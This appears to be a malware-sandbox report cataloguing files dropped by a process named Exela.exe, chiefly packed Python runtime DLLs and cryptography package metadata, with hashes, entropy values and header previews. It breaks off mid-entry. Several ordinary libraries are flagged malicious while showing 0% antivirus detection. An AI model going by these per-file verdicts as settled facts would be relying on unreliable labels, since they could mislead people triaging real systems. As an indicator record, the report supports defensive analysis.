Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	197
Entropy (8bit):	4.61968998873571
Encrypted:	false
SSDEEP:	3:hWDncJhByZmJgXPForADu1QjygQuaAJygT2d5GeWreLRuOFEXAYeBKmJozlMHuO:h9Co8FyQjkDYc5tWreLBF/pn2mH1
MD5:	8C3617DB4FB6FAE01F1D253AB91511E4
SHA1:	E442040C26CD76D1B946822CAF29011A51F75D6D
SHA-256:	3E0C7C091A948B82533BA98FD7CBB40432D6F1A9ACBF85F5922D2F99A93AE6BB
SHA-512:	77A1919E380730BCCE5B55D76FBFFBA2F95874254FAD955BD2FE1DE7FC0E4E25B5FDAAB0FEFFD6F230FA5DC895F593CF8BFEDF8FDC113EFBD8E22FADAB0B8998
Malicious:	false
Preview:	This software is made available under the terms of either of the licenses.found in LICENSE.APACHE or LICENSE.BSD. Contributions to cryptography are made.under the terms of both these licenses..

C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography-42.0.5.dist-info\LICENSE.APACHE

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11360
Entropy (8bit):	4.426756947907149
Encrypted:	false
SSDEEP:	192:nUDG5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEnQHbHR:UIvlKM1zJlFvmNz5VrlkTS0QHt
MD5:	4E168CCE331E5C827D4C2B68A6200E1B
SHA1:	DE33EAD2BEE64352544CE0AA9E410C0C44FDF7D9
SHA-256:	AAC73B3148F6D1D7111DBCA32099F68D26C644C6813AE1E4F05F6579AA2663FE
SHA-512:	F451048E81A49FBFA11B49DE16FF46C52A8E3042D1BCC3A50AAF7712B097BED9AE9AED9149C21476C2A1E12F1583D4810A6D36569E993FE1AD3879942E5B0D52
Malicious:	false
Preview:	. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial ow

C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography-42.0.5.dist-info\LICENSE.BSD

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1532
Entropy (8bit):	5.058591167088024
Encrypted:	false
SSDEEP:	24:MjUnoorbOFFTJJyRrYFTjzMbmqEvBTP4m96432s4EOkUTKQROJ32s3yxsITf+3tY:MkOFJSrYJsaN5P406432svv32s3EsIqm
MD5:	5AE30BA4123BC4F2FA49AA0B0DCE887B
SHA1:	EA5B412C09F3B29BA1D81A61B878C5C16FFE69D8
SHA-256:	602C4C7482DE6479DD2E9793CDA275E5E63D773DACD1ECA689232AB7008FB4FB
SHA-512:	DDBB20C80ADBC8F4118C10D3E116A5CD6536F72077C5916D87258E155BE561B89EB45C6341A1E856EC308B49A4CB4DBA1408EABD6A781FBE18D6C71C32B72C41
Malicious:	false
Preview:	Copyright (c) Individual contributors..All rights reserved...Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions are met:.. 1. Redistributions of source code must retain the above copyright notice,. this list of conditions and the following disclaimer... 2. Redistributions in binary form must reproduce the above copyright. notice, this list of conditions and the following disclaimer in the. documentation and/or other materials provided with the distribution... 3. Neither the name of PyCA Cryptography nor the names of its contributors. may be used to endorse or promote products derived from this software. without specific prior written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOS

C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography-42.0.5.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	5.111831778200942
Encrypted:	false
SSDEEP:	96:DxZpqZink/QIHQIyzQIZQILuQIR8vtklGovuxNx6rIWwCvCCcT+vIrrr9B+M6VwP:xJnkoBs/stL18cT+vIrrxsM6VwDjyeyM
MD5:	AD313397AABF8AF5D234DF73C901CB4D
SHA1:	B213A420B73EACF37409BC428812B3E17F1C12C9
SHA-256:	65479522961A5B9B1C4811232C4133DDC8BDA9BBBC7562B81EF76857A2A2475A
SHA-512:	468BD32AABA49839D4A4752108A378954900037588B7095B318179D64F76F4302ADEBCFA1664CEE5CC390AD0EEA79A611A7B5C372548FEA22DF77C2A459DA2AF
Malicious:	false
Preview:	Metadata-Version: 2.1..Name: cryptography..Version: 42.0.5..Summary: cryptography is a package which provides cryptographic recipes and primitives to Python developers...Author-email: The Python Cryptographic Authority and individual contributors <cryptography-dev@python.org>..License: Apache-2.0 OR BSD-3-Clause..Project-URL: homepage, https://github.com/pyca/cryptography..Project-URL: documentation, https://cryptography.io/..Project-URL: source, https://github.com/pyca/cryptography/..Project-URL: issues, https://github.com/pyca/cryptography/issues..Project-URL: changelog, https://cryptography.io/en/latest/changelog/..Classifier: Development Status :: 5 - Production/Stable..Classifier: Intended Audience :: Developers..Classifier: License :: OSI Approved :: Apache Software License..Classifier: License :: OSI Approved :: BSD License..Classifier: Natural Language :: English..Classifier: Operating System :: MacOS :: MacOS X..Classifier: Operating System :: POSIX..Classifier: Operating Syst

C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography-42.0.5.dist-info\RECORD

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	15325
Entropy (8bit):	5.564361384046864
Encrypted:	false
SSDEEP:	192:GXPJR2R5jF4elqZVhFu4KoF9vZ6FGotqw++NXwvn5tnl:GXf2bCP+onvZ6FGotqw++9wvnd
MD5:	97E6C654F93C1D5979CB439B900BA89C
SHA1:	AD1F3A5ACC61EE75693F7CEE0AD4FF1255C2D0DF
SHA-256:	E2E749B8C2F61371740A4EA821035B23DD7A88CDD8542685633AB94802F79B54
SHA-512:	B7A749005AE639DED57D64F6475D957FBC8850B24CAF86620DD8F3ADDD6E8C9D816C04ED400617E9DDA46883917528306F0F94DABDDACDB29FE399F98E3DDB64
Malicious:	false
Preview:	cryptography-42.0.5.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..cryptography-42.0.5.dist-info/LICENSE,sha256=Pgx8CRqUi4JTO6mP18u0BDLW8amsv4X1ki0vmak65rs,197..cryptography-42.0.5.dist-info/LICENSE.APACHE,sha256=qsc7MUj20dcRHbyjIJn2jSbGRMaBOuHk8F9leaomY_4,11360..cryptography-42.0.5.dist-info/LICENSE.BSD,sha256=YCxMdILeZHndLpeTzaJ15eY9dz2s0eymiSMqtwCPtPs,1532..cryptography-42.0.5.dist-info/METADATA,sha256=ZUeVIpYaW5scSBEjLEEz3ci9qbu8dWK4HvdoV6KiR1o,5430..cryptography-42.0.5.dist-info/RECORD,,..cryptography-42.0.5.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..cryptography-42.0.5.dist-info/WHEEL,sha256=ZzJfItdlTwUbeh2SvWRPbrqgDfW_djikghnwfRmqFIQ,100..cryptography-42.0.5.dist-info/top_level.txt,sha256=KNaT-Sn2K4uxNaEbe6mYdDn3qWDMlp4y-MtWfB73nJc,13..cryptography/__about__.py,sha256=Q_dIPaB2u54kbfNQMzqmbel-gbG6RC5vWzO6OSFDGqM,445..cryptography/__init__.py,sha256=iVPlBlXWTJyiFeRedxcbMPhyHB34viOM10d72vGnWuE,364..cryptography/__pycache__/_

C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography-42.0.5.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	100
Entropy (8bit):	5.0203365408149025
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVlbY3KgP+tkKciH/KQLn:RtBMwlVCxWKTQLn
MD5:	C48772FF6F9F408D7160FE9537E150E0
SHA1:	79D4978B413F7051C3721164812885381DE2FDF5
SHA-256:	67325F22D7654F051B7A1D92BD644F6EBAA00DF5BF7638A48219F07D19AA1484
SHA-512:	A817107D9F70177EA9CA6A370A2A0CB795346C9025388808402797F33144C1BAF7E3DE6406FF9E3D8A3486BDFAA630B90B63935925A36302AB19E4C78179674F
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.42.0).Root-Is-Purelib: false.Tag: cp39-abi3-win_amd64..

C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography-42.0.5.dist-info\top_level.txt

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.2389012566026314
Encrypted:	false
SSDEEP:	3:cOv:Nv
MD5:	E7274BD06FF93210298E7117D11EA631
SHA1:	7132C9EC1FD99924D658CC672F3AFE98AFEFAB8A
SHA-256:	28D693F929F62B8BB135A11B7BA9987439F7A960CC969E32F8CB567C1EF79C97
SHA-512:	AA6021C4E60A6382630BEBC1E16944F9B312359D645FC61219E9A3F19D876FD600E07DCA6932DCD7A1E15BFDEAC7DBDCEB9FFFCD5CA0E5377B82268ED19DE225
Malicious:	false
Preview:	cryptography.

C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography\hazmat\bindings\_rust.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2104832
Entropy (8bit):	7.99971219090206
Encrypted:	true
SSDEEP:	49152:1je4RfZnWigT4YT6JsruXKiYfXUgM9pV72fF2SBFf:d/xWiC4RIyK5XG9pxq3f
MD5:	001536E476BF36E77C61E5E60D96EA76
SHA1:	79F4768CF796262FEBD62F7D9D3D510F6C9D816F
SHA-256:	364C6887349315AFE5343BB2613002CD2B860AF427A76AECEAB591272B6F50A5
SHA-512:	948141C8EEE69E20F3497520FCDD2836AAB6D01A16A9639AEF0869795CA454B684BEC79A77BF1C16DA2A339EE4ADAF56AC6C839C15B5E4EF912D5D94EDB83A90
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........r.Fs..Fs..Fs..O...Ts.....Ds.....Ws.....Ns.....Bs..\|...Ds..Fs..gq.....Ws..)...0p.....Gs..Fs...s.....Gs.....Gs..RichFs..........................PE..d....A.e.........." ...'. .......O.@.o...O..................................@o...........`.........................................(5o.p....0o.(............Pj..M...........5o.$...........................P!o.(...p"o.@...........................................UPX0......O.............................UPX1..... ...O... .................@...UPX2.........0o....... .............@......................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\frozenlist\_frozenlist.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	7.843168848110761
Encrypted:	false
SSDEEP:	768:5S6WTnXeaMytX+TkQ5l1b2YyvPBsDNFyMCipcL:5S6WDuaM6XuvZyuaMEL
MD5:	15B0DF96344BAF6A4C72766721943E52
SHA1:	A3666E88594D1EC97DE23B9242F346C43A34C070
SHA-256:	ABB6F497003738DB2407B01DFA0ABC61F6BC7FDB2452C52F76AB11F5430D844F
SHA-512:	4FBF295D0882646B8C4B3284F11331FB12767FD1404D78D3E4D88A434896058C2DF05DD1A2D9C8CE696D2D3AAD8C7251D00D95C399DF2E8C11BB319F87A4385E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!\5.@2f.@2f.@2f.8.f.@2f.?3g.@2f.83g.@2f.?7g.@2f.?6g.@2f.?1g.@2fK=3g.@2f.@3f.@2f..:g.@2f..2g.@2f...f.@2f..0g.@2fRich.@2f................PE..d.....{e.........." ...%.........0.......@................................................`.............................................h....................p..(.......................................................@...........................................UPX0.....0..............................UPX1.........@......................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1189728
Entropy (8bit):	7.945107908450931
Encrypted:	false
SSDEEP:	24576:LffQrZJIe6/4gho5HE1F03fkOyUU/BtSIgA0ft+rBFOWRIQ6sCY51CPwDv3uFfJv:rf8JWwgho5HL3fknPSIKorCU1CPwDv3a
MD5:	86CFC84F8407AB1BE6CC64A9702882EF
SHA1:	86F3C502ED64DF2A5E10B085103C2FFC9E3A4130
SHA-256:	11B89CC5531B2A6B89FBBB406EBE8FB01F0BF789E672131B0354E10F9E091307
SHA-512:	B33F59497127CB1B4C1781693380576187C562563A9E367CE8ABC14C97C51053A28AF559CDD8BD66181012083E562C8A8771E3D46ADEBA269A848153A8E9173C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........a...2...2...2...2...2..3...2..3...2..3...2..3...2...2...2L.3...2..3...2..3.2..3...2..p2...2..3...2Rich...2........................PE..d...m..b.........." ... .........@%.025..P%..................................P7...........`......................................... H5......C5.h....@5......`2.............H7......................................=5.@...........................................UPX0.....@%.............................UPX1.........P%.....................@....rsrc........@5.....................@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\libffi-8.dll

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25336
Entropy (8bit):	7.563490694087984
Encrypted:	false
SSDEEP:	384:2Jvjb6KaBBu0wYkP2C0yZbMRpZa7gJXMrRCXPDG4y8c3UhH3:Ovj+3BcMp8KDG4yshH
MD5:	DECBBA3ADD4C2246928AB385FB16A21E
SHA1:	5F019EFF11DE3122FFA67A06D52D446A3448B75E
SHA-256:	4B43C1E42F6050DDB8E184C8EC4FB1DE4A6001E068ECE8E6AD47DE0CC9FD4A2D
SHA-512:	760A42A3EB3CA13FA7B95D3BD0F411C270594AE3CF1D3CDA349FA4F8B06EBE548B60CD438D68E2DA37DE0BC6F1C711823F5E917DA02ED7047A45779EE08D7012
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X................d.....N...................5...N......N......N....................................Rich............................PE..d....$(a.........." .....@................................................................`.....................................................................8.......................................................8...........................................UPX0....................................UPX1.....@.......<..................@...UPX2.................@..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\libssl-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	208224
Entropy (8bit):	7.9214932539909775
Encrypted:	false
SSDEEP:	3072:FSI3oPlWLlPVVc5MpJa1pOjJnnioIZW8/Qf6bRXGKrs8qJjueW1LR/oSB6hetz:AIek5VC0FiHof6Z1rgJ63R/oS3
MD5:	6CD33578BC5629930329CA3303F0FAE1
SHA1:	F2F8E3248A72F98D27F0CFA0010E32175A18487F
SHA-256:	4150EE603AD2DA7A6CB6A895CB5BD928E3A99AF7E73C604DE1FC224E0809FDB0
SHA-512:	C236A6CCC8577C85509D378C1EF014621CAB6F6F4AA26796FF32D8EEC8E98DED2E55D358A7D236594F7A48646DC2A6BF25B42A37AED549440D52873EBCA4713E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........D.p..p..p......p...+..p.\.+..p.../..p......p...)..p...+..p..p+.iq......p.....p.....p...(..p.Rich.p*.........PE..d......b.........." ... .....P...`..@....p................................................`..........................................6..4@...3.......0...........M...........v......................................@%..@...........................................UPX0.....`..............................UPX1.........p......................@....rsrc....P...0...H..................@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\multidict\_multidict.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	7.550806027936981
Encrypted:	false
SSDEEP:	384:T6n6Apum7DurKkfFwr37/fgQZtR5DLURkUzLgV5tga2Za7gJXNug8:enppuYrkfIrHZrnDLarYVT4p9u
MD5:	EEADED775EABFAAEDE5CA025F55FD273
SHA1:	8EEFB3B9D85B4D5AD4033308F8AF2A24E8792E02
SHA-256:	DB4D6A74A3301788D32905B2CCC525E9A8E2219F1A36924464871CF211F115A0
SHA-512:	A6055D5604CC53428D89B308C223634CD94082BE0BA4081513974E1826775D6E9FC26180C816D9A38FEAD89B5E04C5E7CF729C056BFAE0ED74D6885C921B70AD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........29T^SW.^SW.^SW.W+..\SW.K,V.\SW..+V.\SW.K,R.RSW.K,S.VSW.K,T.]SW.d.V.]SW.^SV.(SW.d._._SW.d.W._SW.d.._SW.d.U._SW.Rich^SW.........................PE..d...0..e.........." ...%.P...................................................@............`.........................................@2..d....0..P....0.......................2.......................................%..@...........................................UPX0....................................UPX1.....P.......H..................@....rsrc........0.......L..............@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\pyexpat.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	88440
Entropy (8bit):	7.91548450445375
Encrypted:	false
SSDEEP:	1536:ad2ZG27LFRlz41ZjiW6lNaE+hCsoVZ268gtw9IV1upHqCnqEIDQhFh7SyDPxB:ad2ZVLZs2W6lNatksmlBtIIV1oFIDQhF
MD5:	FE0E32BFE3764ED5321454E1A01C81EC
SHA1:	7690690DF0A73BDCC54F0F04B674FC8A9A8F45FB
SHA-256:	B399BFF10812E9EA2C9800F74CB0E5002F9D9379BAF1A3CEF9D438CACA35DC92
SHA-512:	D1777F9E684A9E4174E18651E6D921AE11757ECDBEB4EE678C6A28E0903A4B9AB9F6E1419670B4D428EE20F86C7D424177ED9DAF4365CF2EE376FCD065C1C92D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........P..1..1..1..IX..1..J..1..J..1..J..1..J..1..J..1.\C..1..1..1..J..1..J..1..J4..1..J..1.Rich.1.................PE..d...k.Vc.........." ...!. ..........@0... ...................................P............`..........................................L..P....I.......@.......................L......................................@<..@...........................................UPX0....................................UPX1..... ... ......................@....rsrc........@......."..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\python3.dll

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	65920
Entropy (8bit):	6.085964919090515
Encrypted:	false
SSDEEP:	768:Apw/EsYpkVgBaz57kcDA7QKFmpz7cnzH/ks/KF61xubwmB1Cf//yhC74JFmpktJU:V/5k8cnzeJH9IDQ0K7SyOPx
MD5:	34E49BB1DFDDF6037F0001D9AEFE7D61
SHA1:	A25A39DCA11CDC195C9ECD49E95657A3E4FE3215
SHA-256:	4055D1B9E553B78C244143AB6B48151604003B39A9BF54879DEE9175455C1281
SHA-512:	EDB715654BAAF499CF788BCACD5657ADCF9F20B37B02671ABE71BDA334629344415ED3A7E95CB51164E66A7AA3ED4BF84ACB05649CCD55E3F64036F3178B7856
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q...e...e...e..km...e..ke...e..k....e..kg...e.Rich..e.................PE..d...\.Vc.........." ...!..................................................................`.........................................`...P................................)..............T............................................................................rdata..............................@..@.rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI80682\python311.dll

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1701240
Entropy (8bit):	7.993696827956843
Encrypted:	true
SSDEEP:	49152:I0/71KAZkPw/a5lsjIa7hhXBOQSbMS5ffODwKh/Wc:nziPwCvZalhXOMIzQd
MD5:	DB09C9BBEC6134DB1766D369C339A0A1
SHA1:	C156D9F2D0E80B4CF41794CD9B8B1E8A352E0A0B
SHA-256:	B1AAC1E461174BBAE952434E4DAC092590D72B9832A04457C94BD9BB7EE8AD79
SHA-512:	653A7FFF6A2B6BFFB9EA2C0B72DDB83C9C53D555E798EEA47101B0D932358180A01AF2B9DAB9C27723057439C1EAFFB8D84B9B41F6F9CD1C3C934F1794104D45
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ih.-...-...-...r../...r@.#...r..!...r..%...r..)...$q..7....{..&...-...H...r......r..,...rB.,...r..,...Rich-...........PE..d...R.Vc.........." ...!..........D...]...D...................................^...........`.........................................H.].......].......].......V../...........r^.....................................(.].@...........................................UPX0......D.............................UPX1..........D.....................@....rsrc.........].....................@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\select.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24960
Entropy (8bit):	7.407412042104121
Encrypted:	false
SSDEEP:	384:5oxUAW1guHrhWgWLBNZa7gJXZjNID7Gu6OIYiSy1pCQlIJNPxh8E9VF0NyUT2:exjW1J2pJjNID7GuIYiSyvCPxWEC
MD5:	C39459806C712B3B3242F8376218C1E1
SHA1:	85D254FB6CC5D6ED20A04026BFF1158C8FD0A530
SHA-256:	7CBD4339285D145B422AFA280CEE685258BC659806BE9CF8B334805BC45B29C9
SHA-512:	B727C6D1CD451D658E174161135D3BE48D7EFDA21C775B8145BC527A54D6592BFC50919276C6498D2E2233AC1524C1699F59F0F467CC6E43E5B5E9558C87F49D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........>.t^_f'^_f'^_f'W'.'\_f'.$g&\_f'.$c&R_f'.$b&V_f'.$e&Z_f'.$g&\_f'^_g'._f'.-g&[_f'.$k&__f'.$f&__f'.$.'__f'.$d&__f'Rich^_f'........PE..d...e.Vc.........." ...!.0................................................................`......................................... ...L....................`..............l...........................................@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\sqlite3.dll

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	622976
Entropy (8bit):	7.993556519822549
Encrypted:	true
SSDEEP:	12288:67dpDQ1L3zfmrtWF/azVC9oAnShBJl4cZ1pzgULOX110jt3:cHSzzaQl8VSSh2cZXgULq11y
MD5:	895F001AE969364432372329CAF08B6A
SHA1:	4567FC6672501648B277FE83E6B468A7A2155DDF
SHA-256:	F5DD29E1E99CF8967F7F81487DC624714DCBEC79C1630F929D5507FC95CBFAD7
SHA-512:	05B4559D283EA84174DA72A6C11B8B93B1586B4E7D8CDA8D745C814F8F6DFF566E75F9D7890F32BD9DFE43485244973860F83F96BA39296E28127C9396453261
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<T.S]:.S]:.S]:.Z%.._]:..&;.Q]:..&?.^]:..&>.[]:..&9.W]:../;.P]:.S];..]:..&2.R]:..&:.R]:..&.R]:..&8.R]:.RichS]:.........................PE..d.....Vc.........." ...!.0...0...............................................0............`.............................................L"......................\...........`-..........................................@...........................................UPX0....................................UPX1.....0.......&..................@....rsrc....0...........*..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	300920
Entropy (8bit):	7.985723274612961
Encrypted:	false
SSDEEP:	6144:12Fuue6iwoBLhgXM5kayIQJCEUcHQdBAFEzz9DxsXcY:12/e6inLOoyVJ/LHQdgipxsMY
MD5:	06A5E52CAF03426218F0C08FC02CC6B8
SHA1:	AE232C63620546716FBB97452D73948EBFD06B35
SHA-256:	118C31FAA930F2849A14C3133DF36420A5832114DF90D77B09CDE0AD5F96F33A
SHA-512:	546B1A01F36D3689B0FDEEDA8B1CE55E7D3451731CA70FFFE6627D542FFF19D7A70E27147CAB1920AAE8BED88272342908D4E9D671D7ABA74ABB5DB398B90718
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........e...l...l...l..\|....l.0.m...l.0.i...l.0.h...l.0.o...l.>.m...l.cvm...l...m...l.>.a...l.>.l...l.>.....l.>.n...l.Rich..l.................PE..d...k.Vc.........." ...!.`.......@.. ....P................................................`.............................................X....................P...................................................... ...@...........................................UPX0.....@..............................UPX1.....`...P...\..................@....rsrc................`..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\yarl\_quoting_c.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	7.868227278889233
Encrypted:	false
SSDEEP:	768:dU3TLuhvkAahe3LS0HW7A7I57CdTRgbaa34cU29pU:dCFs7S0HW07I57CBRgkcw
MD5:	9A8F969ECDF0C15734C1D582D2AE35D8
SHA1:	A40691E81982F610A062E49A5AD29CFFB5A2F5A8
SHA-256:	874E52CCEAE9A3C967BAC7B628F4144C32E51FC77F519542FC1BAC19045ECDE8
SHA-512:	E0DEB59ABEF7440F30EFFB1AAB6295B5A50C817F685BE30B21A3C453E3099B97FD71984E6CA6A6C6E0021ABB6E906838566F402B00A11813E67A4E00B119619F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../]..A...A...A.......A...@...A..@...A...D...A...E...A...B...A.[.@...A...@.B.A..`I...A..`A...A..`....A..`C...A.Rich..A.................PE..d....Ype.........." ...%.........`.......p................................... ............`.............................................d...............................................................................@...........................................UPX0.....`..............................UPX1.........p......................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ds3s4c53.5hn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_exjrwd5i.bcl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
